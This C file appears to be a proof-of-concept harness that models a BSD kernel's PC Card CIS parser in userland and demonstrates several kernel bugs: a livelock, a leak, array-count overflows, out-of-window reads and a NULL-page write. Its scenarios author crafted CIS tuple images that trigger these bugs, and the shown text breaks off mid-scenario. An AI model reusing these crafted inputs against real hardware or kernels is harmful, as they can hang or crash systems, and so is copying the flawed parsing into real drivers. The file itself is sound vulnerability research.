/* * poc_pccard_cis2.c -- userland model of sys/bus/pccard/pccard_cis.c (pass 2) * * Mirrors, statement-by-statement: * - pccard_scan_cis() (pccard_cis.c:100-444) -- walk + link * state machine * - pccard_parse_cis_tuple() (pccard_cis.c:612-1260) -- END/MFC reset, * VERS_1, MANFID, * FUNCID, FUNCE, * CONFIG, CFTABLE * - decode_funce() (pccard_cis.c:1262-1294) * - the io/mem consumer loops of pccard_function_init (pccard.c:429-474) * * "bus space" = two 16KB buffers (attribute / common); only the first * PCCARD_CIS_SIZE=4096 bytes (pccard_cis.c:62,130-131) are the mapping the * kernel allocates. Reads at bus offsets >= 4096 are counted and reported * (the model returns a byte anyway so the parse continues, like a bridge * that answers garbage instead of faulting). * * Scenarios (argv[1]): livelock leakloop mfcleak checksum poison * kmallocfail negative all */ #include #include #include #include #include #include #define PCCARD_CIS_SIZE 4096 /* pccard_cis.c:62 */ #define MODEL_BUF_SIZE 16384 #define WALK_CAP 1000000 /* ---------------- bus space model ---------------- */ static uint8_t attr_mem[MODEL_BUF_SIZE]; static uint8_t common_mem[MODEL_BUF_SIZE]; static unsigned long oob_read_cnt, oob_read_max; static unsigned bs_read(uint8_t *base, unsigned long off) { if (off >= MODEL_BUF_SIZE) { fprintf(stderr, "MODEL-HARD-OOB off=%lu\n", off); off = MODEL_BUF_SIZE - 1; } if (off >= PCCARD_CIS_SIZE) { oob_read_cnt++; if (off > oob_read_max) oob_read_max = off; } return base[off]; } /* pccardvar.h:213-220 + read macros :255-280, verbatim */ struct pccard_tuple { unsigned int code; unsigned int length; unsigned long mult; uint64_t ptr; uint8_t *memh; }; #define pccard_cis_read_1(tuple, idx0) \ (bs_read((tuple)->memh, (tuple)->mult*(idx0))) #define pccard_tuple_read_1(tuple, idx1) \ (pccard_cis_read_1((tuple), ((tuple)->ptr+(2+(idx1))))) #define pccard_tuple_read_2(tuple, idx2) \ (pccard_tuple_read_1((tuple), (idx2)) | \ (pccard_tuple_read_1((tuple), (idx2)+1)<<8)) #define pccard_tuple_read_4(tuple, idx4) \ (pccard_tuple_read_1((tuple), (idx4)) | \ (pccard_tuple_read_1((tuple), (idx4)+1)<<8) | \ (pccard_tuple_read_1((tuple), (idx4)+2)<<16) | \ (pccard_tuple_read_1((tuple), (idx4)+3)<<24)) #define pccard_tuple_read_n(tuple, n, idxn) \ (((n)==1)?pccard_tuple_read_1((tuple), (idxn)) : \ (((n)==2)?pccard_tuple_read_2((tuple), (idxn)) : \ (((n)==3)?0 : pccard_tuple_read_4((tuple), (idxn))))) /* ---------------- tuple codes / masks (pccard_cis.h) ---------------- */ #define CISTPL_NULL 0x00 #define CISTPL_CHECKSUM 0x10 #define CISTPL_LONGLINK_A 0x11 #define CISTPL_LONGLINK_C 0x12 #define CISTPL_LINKTARGET 0x13 #define CISTPL_LONGLINK_MFC 0x06 #define CISTPL_NO_LINK 0x14 #define CISTPL_VERS_1 0x15 #define CISTPL_CONFIG 0x1A #define CISTPL_CFTABLE_ENTRY 0x1B #define CISTPL_MANFID 0x20 #define CISTPL_FUNCID 0x21 #define CISTPL_FUNCE 0x22 #define CISTPL_END 0xFF #define PCCARD_MFC_MEM_ATTR 0x00 #define PCCARD_MFC_MEM_COMMON 0x01 #define PCCARD_TPCC_RASZ_MASK 0x03 #define PCCARD_TPCC_RMSZ_MASK 0x3C #define PCCARD_TPCC_RFSZ_MASK 0xC0 #define PCCARD_TPCE_INDX_INTFACE 0x80 #define PCCARD_TPCE_INDX_DEFAULT 0x40 #define PCCARD_TPCE_INDX_NUM_MASK 0x3F #define PCCARD_TPCE_FS_POWER_MASK 0x03 #define PCCARD_TPCE_FS_TIMING 0x04 #define PCCARD_TPCE_FS_IOSPACE 0x08 #define PCCARD_TPCE_FS_IRQ 0x10 #define PCCARD_TPCE_FS_MEMSPACE_MASK 0x60 #define PCCARD_TPCE_FS_MISC 0x80 #define PCCARD_TPCE_TD_RESERVED_MASK 0xE0 #define PCCARD_TPCE_TD_RDYBSY_MASK 0x1C #define PCCARD_TPCE_TD_WAIT_MASK 0x03 #define PCCARD_TPCE_IO_HASRANGE 0x80 #define PCCARD_TPCE_IO_IOADDRLINES_MASK 0x1F #define PCCARD_TPCE_IO_RANGE_COUNT 0x0F #define PCCARD_TPCE_IO_RANGE_ADDRSIZE_MASK 0x30 #define PCCARD_TPCE_IO_RANGE_ADDRSIZE_ONE 0x10 #define PCCARD_TPCE_IO_RANGE_ADDRSIZE_TWO 0x20 #define PCCARD_TPCE_IO_RANGE_ADDRSIZE_FOUR 0x30 #define PCCARD_TPCE_IO_RANGE_LENGTHSIZE_MASK 0xC0 #define PCCARD_TPCE_IO_RANGE_LENGTHSIZE_ONE 0x40 #define PCCARD_TPCE_IO_RANGE_LENGTHSIZE_TWO 0x80 #define PCCARD_TPCE_IO_RANGE_LENGTHSIZE_FOUR 0xC0 #define PCCARD_TPCE_IR_SHARE 0x80 #define PCCARD_TPCE_IR_PULSE 0x40 #define PCCARD_TPCE_IR_LEVEL 0x20 #define PCCARD_TPCE_IR_HASMASK 0x10 #define PCCARD_TPCE_IR_IRQ 0x0F #define PCCARD_TPCE_MS_HOSTADDR 0x80 #define PCCARD_TPCE_MS_CARDADDR_SIZE_MASK 0x60 #define PCCARD_TPCE_MS_CARDADDR_SIZE_SHIFT 5 #define PCCARD_TPCE_MS_LENGTH_SIZE_MASK 0x18 #define PCCARD_TPCE_MS_LENGTH_SIZE_SHIFT 3 #define PCCARD_TPCE_MS_COUNT 0x07 #define PCCARD_TPCE_MI_EXT 0x80 #define PCCARD_CFE_MWAIT_REQUIRED 0x0001 #define PCCARD_CFE_RDYBSY_ACTIVE 0x0002 #define PCCARD_CFE_WP_ACTIVE 0x0004 #define PCCARD_CFE_BVD_ACTIVE 0x0008 #define PCCARD_CFE_IO8 0x0010 #define PCCARD_CFE_IO16 0x0020 #define PCCARD_CFE_IRQSHARE 0x0040 #define PCCARD_CFE_IRQPULSE 0x0080 #define PCCARD_CFE_IRQLEVEL 0x0100 #define PCCARD_CFE_POWERDOWN 0x0200 #define PCCARD_CFE_READONLY 0x0400 #define PCCARD_CFE_AUDIO 0x0800 #define PCCARD_IFTYPE_MEMORY 0 #define PCCARD_FUNCTION_UNSPEC -1 #define PCCARD_FUNCTION_SERIAL 2 #define PCCARD_FUNCTION_DISK 4 #define PCCARD_FUNCTION_NETWORK 6 #define PCCARD_TPLFE_TYPE_LAN_NID 0x04 #define PCCARD_TPLFE_TYPE_DISK_DEVICE_INTERFACE 0x01 /* ---------------- struct mirrors (pccardvar.h:87-184) ---------------- */ struct pccard_config_entry { int number; uint32_t flags; int iftype; int num_iospace; unsigned long iomask; struct { unsigned long length; unsigned long start; } iospace[4]; /* pccardvar.h:102 */ uint16_t irqmask; int num_memspace; struct { unsigned long length; unsigned long cardaddr; unsigned long hostaddr; } memspace[2]; /* pccardvar.h:109 */ int maxtwins; STAILQ_ENTRY(pccard_config_entry) cfe_list; }; struct pccard_function { int number; int function; int last_config_index; uint32_t ccr_base; uint32_t ccr_mask; STAILQ_HEAD(, pccard_config_entry) cfe_head; STAILQ_ENTRY(pccard_function) pf_list; int pf_funce_disk_interface; uint8_t pf_funce_lan_nid[8]; int pf_funce_lan_nidlen; }; struct pccard_card { int cis1_major; int cis1_minor; char cis1_info_buf[256]; char *cis1_info[4]; int32_t manufacturer; int32_t product; uint16_t error; STAILQ_HEAD(, pccard_function) pf_head; }; struct cis_state { /* pccard_cis.c:64-71 */ int count; int gotmfc; struct pccard_config_entry temp_cfe; struct pccard_config_entry *default_cfe; struct pccard_card *card; struct pccard_function *pf; }; /* ---------------- allocation accounting ---------------- */ static unsigned long alloc_cnt, free_cnt, alloc_bytes; static long fail_next_alloc; static int df5364_hit; static void * m_kmalloc(size_t sz) { void *p; if (fail_next_alloc > 0) { fail_next_alloc--; return NULL; } p = malloc(sz); if (p != NULL) { alloc_cnt++; alloc_bytes += sz; } return p; } #define PF_SZ sizeof(struct pccard_function) #define CFE_SZ sizeof(struct pccard_config_entry) /* ---------------- instrumentation ---------------- */ static unsigned long link_follows; static int poison_iospace_seen, poison_memspace_seen; struct sig_ent { uint64_t ptr; int space_attr; int ll_present; uint64_t ll_addr; int ll_common; int mfc_cnt; int mfc_idx; int gotmfc; }; static struct sig_ent sigs[4096]; static int sig_cnt; static int sig_seen(uint64_t ptr, int space_attr, int ll_present, uint64_t ll_addr, int ll_common, int mfc_cnt, int mfc_idx, int gotmfc) { int i; for (i = 0; i < sig_cnt; i++) if (sigs[i].ptr == ptr && sigs[i].space_attr == space_attr && sigs[i].ll_present == ll_present && sigs[i].ll_addr == ll_addr && sigs[i].ll_common == ll_common && sigs[i].mfc_cnt == mfc_cnt && sigs[i].mfc_idx == mfc_idx && sigs[i].gotmfc == gotmfc) return 1; if (sig_cnt < (int)(sizeof(sigs) / sizeof(sigs[0]))) { sigs[sig_cnt].ptr = ptr; sigs[sig_cnt].space_attr = space_attr; sigs[sig_cnt].ll_present = ll_present; sigs[sig_cnt].ll_addr = ll_addr; sigs[sig_cnt].ll_common = ll_common; sigs[sig_cnt].mfc_cnt = mfc_cnt; sigs[sig_cnt].mfc_idx = mfc_idx; sigs[sig_cnt].gotmfc = gotmfc; sig_cnt++; } return 0; } /* ---------------- parse handler (pccard_cis.c:612-1260) ---------------- */ static struct cis_state *state_g; /* the one live cis_state */ static int pccard_parse_cis_tuple(const struct pccard_tuple *tuple, void *arg) { /* pccard_cis.c:616-619 */ static struct pccard_config_entry init_cfe = { -1, PCCARD_CFE_RDYBSY_ACTIVE | PCCARD_CFE_WP_ACTIVE | PCCARD_CFE_BVD_ACTIVE, PCCARD_IFTYPE_MEMORY, }; struct cis_state *state = arg; switch (tuple->code) { case CISTPL_END: /* :624-649 */ if (state->gotmfc == 1) { struct pccard_function *pf, *pfnext; for (pf = STAILQ_FIRST(&state->card->pf_head); pf != NULL; pf = pfnext) { pfnext = STAILQ_NEXT(pf, pf_list); /* * KERNEL: kfree(pf) only (:641). The cfe * chain hanging off pf is NOT drained -> * DF-5361. Model frees pf only, exactly. */ free_cnt++; free(pf); } STAILQ_INIT(&state->card->pf_head); state->count = 0; state->gotmfc = 2; state->pf = NULL; /* :648 */ } break; case CISTPL_LONGLINK_MFC: /* :651-659 */ state->gotmfc = 1; break; case CISTPL_VERS_1: /* :735-761 */ if (tuple->length < 6) break; { int start, i, ch, count; state->card->cis1_major = pccard_tuple_read_1(tuple, 0); state->card->cis1_minor = pccard_tuple_read_1(tuple, 1); for (count = 0, start = 0, i = 0; (count < 4) && ((i + 4) < 256); i++) { ch = pccard_tuple_read_1(tuple, 2 + i); if (ch == 0xff) break; state->card->cis1_info_buf[i] = ch; if (ch == 0) { state->card->cis1_info[count] = state->card->cis1_info_buf + start; start = i + 1; count++; } } } break; case CISTPL_MANFID: /* :762-782 */ if (tuple->length < 4) break; state->card->manufacturer = pccard_tuple_read_2(tuple, 0); state->card->product = pccard_tuple_read_2(tuple, 2); break; case CISTPL_FUNCID: /* :783-802 */ if (tuple->length < 1) break; if ((state->pf == NULL) || (state->gotmfc == 2)) { state->pf = m_kmalloc(PF_SZ); /* :790 */ if (state->pf == NULL) { /* * DF-5364: no NULL check in the kernel; the * next statement writes through it: * state->pf->number = state->count++; :792 */ printf("RESULT: DF-5364 FUNCID kmalloc" "(M_NOWAIT) returned NULL; next kernel" " statement writes *(int*)(NULL+%zu)" " = %d -> NULL-page write, panic\n", offsetof(struct pccard_function, number), state->count); df5364_hit = 1; return 1; /* unwind the model scan */ } memset(state->pf, 0, PF_SZ); state->pf->number = state->count++; state->pf->last_config_index = -1; STAILQ_INIT(&state->pf->cfe_head); STAILQ_INSERT_TAIL(&state->card->pf_head, state->pf, pf_list); } state->pf->function = pccard_tuple_read_1(tuple, 0); break; case CISTPL_FUNCE: /* :803-812 */ if (state->pf == NULL || state->pf->function <= 0) break; if (tuple->length >= 2) { /* decode_funce, pccard_cis.c:1262-1294, verbatim */ int i, len; int type = pccard_tuple_read_1(tuple, 0); switch (state->pf->function) { case PCCARD_FUNCTION_DISK: if (type == PCCARD_TPLFE_TYPE_DISK_DEVICE_INTERFACE) state->pf->pf_funce_disk_interface = pccard_tuple_read_1(tuple, 1); break; case PCCARD_FUNCTION_NETWORK: if (type == PCCARD_TPLFE_TYPE_LAN_NID) { len = pccard_tuple_read_1(tuple, 1); if (tuple->length < 2 + len || len > 8) break; /* :1279 */ for (i = 0; i < len; i++) state->pf->pf_funce_lan_nid[i] = pccard_tuple_read_1(tuple, i + 2); state->pf->pf_funce_lan_nidlen = len; } break; default: break; } } break; case CISTPL_CONFIG: /* :813-870 */ if (tuple->length < 3) break; { unsigned int reg, rasz, rmsz, rfsz; int i; reg = pccard_tuple_read_1(tuple, 0); rasz = 1 + (reg & PCCARD_TPCC_RASZ_MASK); rmsz = 1 + ((reg & PCCARD_TPCC_RMSZ_MASK) >> 2); rfsz = ((reg & PCCARD_TPCC_RFSZ_MASK) >> 6); if (tuple->length < (rasz + rmsz + rfsz)) break; if (state->pf == NULL) { state->pf = m_kmalloc(PF_SZ); /* :837 */ if (state->pf == NULL) { printf("RESULT: DF-5364 CONFIG kmalloc" "(M_NOWAIT) returned NULL; next" " kernel statement writes" " *(int*)(NULL+%zu) = %d" " -> NULL-page write, panic\n", offsetof(struct pccard_function, number), state->count); df5364_hit = 1; return 1; } memset(state->pf, 0, PF_SZ); state->pf->number = state->count++; state->pf->last_config_index = -1; STAILQ_INIT(&state->pf->cfe_head); STAILQ_INSERT_TAIL(&state->card->pf_head, state->pf, pf_list); state->pf->function = PCCARD_FUNCTION_UNSPEC; } state->pf->last_config_index = pccard_tuple_read_1(tuple, 1); state->pf->ccr_base = 0; for (i = 0; i < (int)rasz; i++) state->pf->ccr_base |= (pccard_tuple_read_1(tuple, 2 + i) << (i * 8)); state->pf->ccr_mask = 0; for (i = 0; i < (int)rmsz; i++) state->pf->ccr_mask |= (pccard_tuple_read_1(tuple, 2 + rasz + i) << (i * 8)); state->temp_cfe = init_cfe; state->default_cfe = &state->temp_cfe; } break; case CISTPL_CFTABLE_ENTRY: { /* :871-1253 */ int idx, i, j; unsigned int reg, reg2; unsigned int intface, def, num; unsigned int power, timing, iospace, irq, memspace, misc; struct pccard_config_entry *cfe; idx = 0; reg = pccard_tuple_read_1(tuple, idx); idx++; intface = reg & PCCARD_TPCE_INDX_INTFACE; def = reg & PCCARD_TPCE_INDX_DEFAULT; num = reg & PCCARD_TPCE_INDX_NUM_MASK; if (num != state->default_cfe->number) { /* :907 */ cfe = m_kmalloc(CFE_SZ); /* :908 */ if (cfe == NULL) /* :910 */ goto abort_cfe; memset(cfe, 0, CFE_SZ); *cfe = *state->default_cfe; /* :914 */ if (state->pf == NULL) { /* DF-2319 second case (KNOWN, not re-reported): * kernel STAILQ_INSERT_TAIL through NULL pf. */ printf("NOTE: known DF-2319 path reached" " (pf==NULL at :916); not re-reported.\n"); goto abort_cfe; } STAILQ_INSERT_TAIL(&state->pf->cfe_head, cfe, cfe_list); cfe->number = num; if (def) state->default_cfe = cfe; } else { cfe = state->default_cfe; if (!def) { state->temp_cfe = *state->default_cfe; state->default_cfe = &state->temp_cfe; } } if (intface) { reg = pccard_tuple_read_1(tuple, idx); idx++; cfe->flags &= ~(PCCARD_CFE_MWAIT_REQUIRED | PCCARD_CFE_RDYBSY_ACTIVE | PCCARD_CFE_WP_ACTIVE | PCCARD_CFE_BVD_ACTIVE); cfe->iftype = reg & 0x0F; } reg = pccard_tuple_read_1(tuple, idx); idx++; power = reg & PCCARD_TPCE_FS_POWER_MASK; timing = reg & PCCARD_TPCE_FS_TIMING; iospace = reg & PCCARD_TPCE_FS_IOSPACE; irq = reg & PCCARD_TPCE_FS_IRQ; memspace = reg & PCCARD_TPCE_FS_MEMSPACE_MASK; misc = reg & PCCARD_TPCE_FS_MISC; if (power) { /* :987-1006 */ for (i = 0; i < (int)power; i++) { reg = pccard_tuple_read_1(tuple, idx); idx++; for (j = 0; j < 7; j++) { if ((reg >> j) & 0x01) { do { reg2 = pccard_tuple_read_1(tuple, idx); idx++; } while (reg2 & 0x80); } } } } if (timing) { /* :1008-1022 */ reg = pccard_tuple_read_1(tuple, idx); idx++; if ((reg & PCCARD_TPCE_TD_RESERVED_MASK) != PCCARD_TPCE_TD_RESERVED_MASK) idx++; if ((reg & PCCARD_TPCE_TD_RDYBSY_MASK) != PCCARD_TPCE_TD_RDYBSY_MASK) idx++; if ((reg & PCCARD_TPCE_TD_WAIT_MASK) != PCCARD_TPCE_TD_WAIT_MASK) idx++; } if (iospace) { if (tuple->length <= idx) /* :1024 */ goto abort_cfe; reg = pccard_tuple_read_1(tuple, idx); idx++; cfe->flags &= ~(PCCARD_CFE_IO8 | PCCARD_CFE_IO16); cfe->iomask = reg & PCCARD_TPCE_IO_IOADDRLINES_MASK; if (reg & PCCARD_TPCE_IO_HASRANGE) { reg = pccard_tuple_read_1(tuple, idx); idx++; cfe->num_iospace = 1 + (reg & /* :1044 */ PCCARD_TPCE_IO_RANGE_COUNT); if (cfe->num_iospace > (sizeof(cfe->iospace) / sizeof(cfe->iospace[0]))) { /* :1047-1055 -- DF-5360: count already * stored & cfe already on the queue */ poison_iospace_seen = cfe->num_iospace; state->card->error++; break; /* :1054 */ } for (i = 0; i < cfe->num_iospace; i++) { switch (reg & PCCARD_TPCE_IO_RANGE_ADDRSIZE_MASK) { case PCCARD_TPCE_IO_RANGE_ADDRSIZE_ONE: cfe->iospace[i].start = pccard_tuple_read_1(tuple, idx); idx++; break; case PCCARD_TPCE_IO_RANGE_ADDRSIZE_TWO: cfe->iospace[i].start = pccard_tuple_read_2(tuple, idx); idx += 2; break; case PCCARD_TPCE_IO_RANGE_ADDRSIZE_FOUR: cfe->iospace[i].start = pccard_tuple_read_4(tuple, idx); idx += 4; break; } switch (reg & PCCARD_TPCE_IO_RANGE_LENGTHSIZE_MASK) { case PCCARD_TPCE_IO_RANGE_LENGTHSIZE_ONE: cfe->iospace[i].length = pccard_tuple_read_1(tuple, idx); idx++; break; case PCCARD_TPCE_IO_RANGE_LENGTHSIZE_TWO: cfe->iospace[i].length = pccard_tuple_read_2(tuple, idx); idx += 2; break; case PCCARD_TPCE_IO_RANGE_LENGTHSIZE_FOUR: cfe->iospace[i].length = pccard_tuple_read_4(tuple, idx); idx += 4; break; } cfe->iospace[i].length++; } } else { cfe->num_iospace = 1; cfe->iospace[0].start = 0; cfe->iospace[0].length = (1 << cfe->iomask); } } if (irq) { if (tuple->length <= idx) /* :1102 */ goto abort_cfe; reg = pccard_tuple_read_1(tuple, idx); idx++; if (reg & PCCARD_TPCE_IR_SHARE) cfe->flags |= PCCARD_CFE_IRQSHARE; if (reg & PCCARD_TPCE_IR_PULSE) cfe->flags |= PCCARD_CFE_IRQPULSE; if (reg & PCCARD_TPCE_IR_LEVEL) cfe->flags |= PCCARD_CFE_IRQLEVEL; if (reg & PCCARD_TPCE_IR_HASMASK) { cfe->irqmask = pccard_tuple_read_2(tuple, idx); idx += 2; } else { cfe->irqmask = (1 << (reg & PCCARD_TPCE_IR_IRQ)); } } if (memspace) { if (tuple->length <= idx) /* :1134 */ goto abort_cfe; if (memspace == 0x20) { cfe->num_memspace = 1; cfe->memspace[0].length = 256 * pccard_tuple_read_2(tuple, idx); idx += 2; cfe->memspace[0].cardaddr = 0; cfe->memspace[0].hostaddr = 0; } else if (memspace == 0x40) { cfe->num_memspace = 1; cfe->memspace[0].length = 256 * pccard_tuple_read_2(tuple, idx); idx += 2; cfe->memspace[0].cardaddr = 256 * pccard_tuple_read_2(tuple, idx); idx += 2; cfe->memspace[0].hostaddr = cfe->memspace[0].cardaddr; } else { int lengthsize, cardaddrsize, hostaddrsize; reg = pccard_tuple_read_1(tuple, idx); idx++; cfe->num_memspace = (reg & /* :1164 */ PCCARD_TPCE_MS_COUNT) + 1; if (cfe->num_memspace > (sizeof(cfe->memspace) / sizeof(cfe->memspace[0]))) { /* :1167-1175 -- DF-5360 */ poison_memspace_seen = cfe->num_memspace; state->card->error++; break; /* :1174 */ } lengthsize = (reg & PCCARD_TPCE_MS_LENGTH_SIZE_MASK) >> 3; cardaddrsize = (reg & PCCARD_TPCE_MS_CARDADDR_SIZE_MASK) >> 5; hostaddrsize = (reg & PCCARD_TPCE_MS_HOSTADDR) ? cardaddrsize : 0; if (lengthsize == 0) state->card->error++; for (i = 0; i < cfe->num_memspace; i++) { if (lengthsize) { cfe->memspace[i].length = 256 * pccard_tuple_read_n(tuple, lengthsize, idx); idx += lengthsize; } else cfe->memspace[i].length = 0; if (cfe->memspace[i].length == 0) state->card->error++; if (cardaddrsize) { cfe->memspace[i].cardaddr = 256 * pccard_tuple_read_n(tuple, cardaddrsize, idx); idx += cardaddrsize; } else cfe->memspace[i].cardaddr = 0; if (hostaddrsize) { cfe->memspace[i].hostaddr = 256 * pccard_tuple_read_n(tuple, hostaddrsize, idx); idx += hostaddrsize; } else cfe->memspace[i].hostaddr = 0; } } } else cfe->num_memspace = 0; if (misc) { if (tuple->length <= idx) /* :1225 */ goto abort_cfe; reg = pccard_tuple_read_1(tuple, idx); idx++; cfe->flags &= ~(PCCARD_CFE_POWERDOWN | PCCARD_CFE_READONLY | PCCARD_CFE_AUDIO); cfe->maxtwins = reg & 0x07; while (reg & PCCARD_TPCE_MI_EXT) { /* :1243 (DF-1041) */ reg = pccard_tuple_read_1(tuple, idx); idx++; } } } abort_cfe: break; default: break; } return (0); } /* ---------------- the walk (pccard_cis.c:100-444) ---------------- */ static int pccard_scan_cis_model(struct pccard_tuple *tuple, int *space_attr, long *iters) { int longlink_present = 1; /* :147-149 */ int longlink_common = 1; uint64_t longlink_addr = 0; int mfc_count = 0, mfc_index = 0; struct { int common; uint64_t addr; } mfc[256 / 5]; int ret = 0; long n = 0; tuple->mult = 2; /* :145 */ tuple->ptr = 0; tuple->memh = attr_mem; *space_attr = 1; while (1) { while (1) { if (++n > WALK_CAP) { *iters = n; return 3; /* cap exceeded */ } if (tuple->mult * tuple->ptr >= /* :164 */ PCCARD_CIS_SIZE - 1 - 32) { tuple->code = CISTPL_END; } else { tuple->code = pccard_cis_read_1(tuple, tuple->ptr); } if (tuple->code == CISTPL_NULL) { /* :175 */ tuple->ptr++; continue; } else if (tuple->code == CISTPL_END) { /* :185 */ if (pccard_parse_cis_tuple(tuple, state_g)) { ret = 1; goto done; } tuple->ptr++; break; } tuple->length = pccard_cis_read_1(tuple, /* :198 */ tuple->ptr + 1); switch (tuple->code) { case CISTPL_LONGLINK_A: /* :200-216 */ case CISTPL_LONGLINK_C: if (tuple->length < 4) break; longlink_present = 1; longlink_common = (tuple->code == CISTPL_LONGLINK_C) ? 1 : 0; longlink_addr = pccard_tuple_read_4(tuple, 0); break; case CISTPL_NO_LINK: /* :217 */ longlink_present = 0; break; case CISTPL_CHECKSUM: { /* :221-276 */ int16_t offset; uint64_t addr, length; unsigned cksum, sum; int i; if (tuple->length < 5) break; offset = (uint16_t)pccard_tuple_read_2(tuple, 0); length = pccard_tuple_read_2(tuple, 2); cksum = pccard_tuple_read_1(tuple, 4); addr = tuple->ptr + offset; /* :237 */ if ((addr >= PCCARD_CIS_SIZE) || /* :247 */ ((addr + length) >= PCCARD_CIS_SIZE)) break; sum = 0; for (i = 0; i < (int)length; i++) /* :255 */ /* * :255-259 verbatim: RAW * bus_space_read_1 at * addr + tuple.mult * i -- the * mult is NOT in the :247 check. */ sum += bs_read(tuple->memh, addr + tuple->mult * i); (void)cksum; break; } case CISTPL_LONGLINK_MFC: { /* :277-346 */ int i, tmp_count; if (tuple->length < 1) break; if (((tuple->length - 1) % 5) != 0) break; tmp_count = pccard_tuple_read_1(tuple, 0); if (tuple->length != (tmp_count * 5 + 1)) break; if (tmp_count > (int)(sizeof mfc / sizeof mfc[0])) abort(); /* :324 -- proven * unreachable, see * 'negative' */ mfc_count = tmp_count; for (i = 0; i < mfc_count; i++) { mfc[i].common = (pccard_tuple_read_1(tuple, 1 + 5 * i) == PCCARD_MFC_MEM_COMMON) ? 1 : 0; mfc[i].addr = pccard_tuple_read_4(tuple, 1 + 5 * i + 1); } goto call_fct; /* fall through :347 */ } default: call_fct: if (pccard_parse_cis_tuple(tuple, state_g)) { ret = 1; goto done; } break; } tuple->ptr += 2 + tuple->length; /* :376 */ } /* chain done; follow links -- :386-437 */ while (1) { link_follows++; if (sig_seen(tuple->ptr, *space_attr, longlink_present, longlink_addr, longlink_common, mfc_count, mfc_index, state_g->gotmfc)) { *iters = n; return 2; /* CYCLE */ } if (longlink_present) { /* :387 */ *space_attr = longlink_common ? 0 : 1; tuple->memh = longlink_common ? common_mem : attr_mem; tuple->mult = longlink_common ? 1 : 2; tuple->ptr = longlink_addr; /* :394 */ longlink_present = 0; longlink_common = 1; longlink_addr = 0; } else if (mfc_count && (mfc_index < mfc_count)) { /* :398 */ *space_attr = mfc[mfc_index].common ? 0 : 1; tuple->memh = mfc[mfc_index].common ? common_mem : attr_mem; tuple->mult = mfc[mfc_index].common ? 1 : 2; tuple->ptr = mfc[mfc_index].addr; /* :406 */ mfc_index++; } else { goto done; /* :409 */ } tuple->code = pccard_cis_read_1(tuple, tuple->ptr); /* :413 */ if (tuple->code != CISTPL_LINKTARGET) continue; tuple->length = pccard_cis_read_1(tuple, tuple->ptr + 1); if (tuple->length < 3) continue; if ((pccard_tuple_read_1(tuple, 0) != 'C') || (pccard_tuple_read_1(tuple, 1) != 'I') || (pccard_tuple_read_1(tuple, 2) != 'S')) continue; tuple->ptr += 2 + tuple->length; /* :435 */ break; } } done: *iters = n; return ret; } /* ---------------- CIS authoring ---------------- */ static void put_tuple(uint8_t *buf, unsigned addr, unsigned code, unsigned len, const uint8_t *data) { unsigned i; /* tuple index n lives at bus offset mult*n (attr space: mult=2); * kernel reads code=pccard_cis_read_1(ptr), len=...(ptr+1), * body[i]=...(ptr+2+i) (pccardvar.h:255-259) */ buf[2 * addr] = code; buf[2 * (addr + 1)] = len; for (i = 0; i < len; i++) buf[2 * (addr + 2 + i)] = data[i]; } static struct cis_state g_state; static struct pccard_tuple g_tuple; static struct pccard_card g_card; static void reset_all(void) { memset(&g_state, 0, sizeof(g_state)); memset(&g_card, 0, sizeof(g_card)); g_state.card = &g_card; g_card.cis1_major = -1; g_card.cis1_minor = -1; g_card.manufacturer = -1; g_card.product = -1; STAILQ_INIT(&g_card.pf_head); state_g = &g_state; alloc_cnt = free_cnt = alloc_bytes = 0; oob_read_cnt = oob_read_max = 0; link_follows = 0; poison_iospace_seen = poison_memspace_seen = 0; df5364_hit = 0; sig_cnt = 0; fail_next_alloc = 0; memset(attr_mem, 0, sizeof(attr_mem)); memset(common_mem, 0, sizeof(common_mem)); } /* pccard.c:429-474 consumer loops, OOB-instrumented */ static void consumer_io_loops(const struct pccard_config_entry *cfe) { const char *objend = (const char *)cfe + CFE_SZ; unsigned long oob = 0, maxpast = 0; int i; for (i = 0; i < cfe->num_iospace; i++) { /* pccard.c:429 */ const char *e = (const char *)&cfe->iospace[i]; long past = (e + sizeof(cfe->iospace[0])) - objend; if (past > 0) { oob++; if ((unsigned long)past > maxpast) maxpast = past; } } printf(" consumer pccard.c:429 i %lu OOB" " element reads, deepest %lu bytes past the %zu-byte" " kmalloc chunk\n", cfe->num_iospace, oob, maxpast, CFE_SZ); oob = maxpast = 0; for (i = 0; i < cfe->num_memspace; i++) { /* pccard.c:452 */ const char *e = (const char *)&cfe->memspace[i]; long past = (e + sizeof(cfe->memspace[0])) - objend; if (past > 0) { oob++; if ((unsigned long)past > maxpast) maxpast = past; } } printf(" consumer pccard.c:452 i %lu OOB" " element reads, deepest %lu bytes past the chunk\n", cfe->num_memspace, oob, maxpast); } /* ---------------- scenarios ---------------- */ static int sc_livelock(void) { int sp, r; long it; printf("=== S1 livelock: LONGLINK_A cycle (DF-5362) ===\n"); reset_all(); put_tuple(attr_mem, 0x00, 0x13, 3, (const uint8_t *)"CIS"); put_tuple(attr_mem, 0x05, 0x11, 4, (const uint8_t *)"\0\0\0\0"); put_tuple(attr_mem, 0x0B, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); if (r == 2) { printf("RESULT: DF-5362 scan NEVER terminates: identical walker" " state (space,ptr=%llu,link state) revisited after %ld" " tuple steps / %lu link follows; model cap %d would be" " exceeded.\n", (unsigned long long)sigs[0].ptr, it, link_follows, WALK_CAP); printf(" kernel: pccard_attach_card (pccard.c:195) spins" " forever on the socket event thread; the CIS window" " resource (pccard_cis.c:129-131) is never released" " (pccard_cis.c:441 never reached).\n"); return 0; } printf("RESULT: S1 UNEXPECTED r=%d iters=%ld\n", r, it); return 1; } static int sc_leakloop(void) { int sp, r; long it; printf("=== S2 leakloop: cycle + per-cycle cfe leak" " (DF-5361 x DF-5362) ===\n"); reset_all(); put_tuple(attr_mem, 0x00, 0x13, 3, (const uint8_t *)"CIS"); put_tuple(attr_mem, 0x05, 0x06, 6, (const uint8_t *)"\x01\x00\x00\x00\x00\x00"); put_tuple(attr_mem, 0x0D, 0x21, 1, (const uint8_t *)"\x02"); put_tuple(attr_mem, 0x10, 0x1A, 3, (const uint8_t *)"\x00\xff\x00"); put_tuple(attr_mem, 0x15, 0x1B, 2, (const uint8_t *)"\x01\x00"); put_tuple(attr_mem, 0x19, 0x11, 4, (const uint8_t *)"\0\0\0\0"); put_tuple(attr_mem, 0x1F, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); if (r == 2) { printf("RESULT: DF-5361+DF-5362 combined: cycle confirmed after" " %ld tuple steps; allocs=%lu (%lu B) frees=%lu ->" " %ld chunk(s) net-leaked when the cycle was cut; the" " kernel loop has no cut.\n", it, alloc_cnt, alloc_bytes, 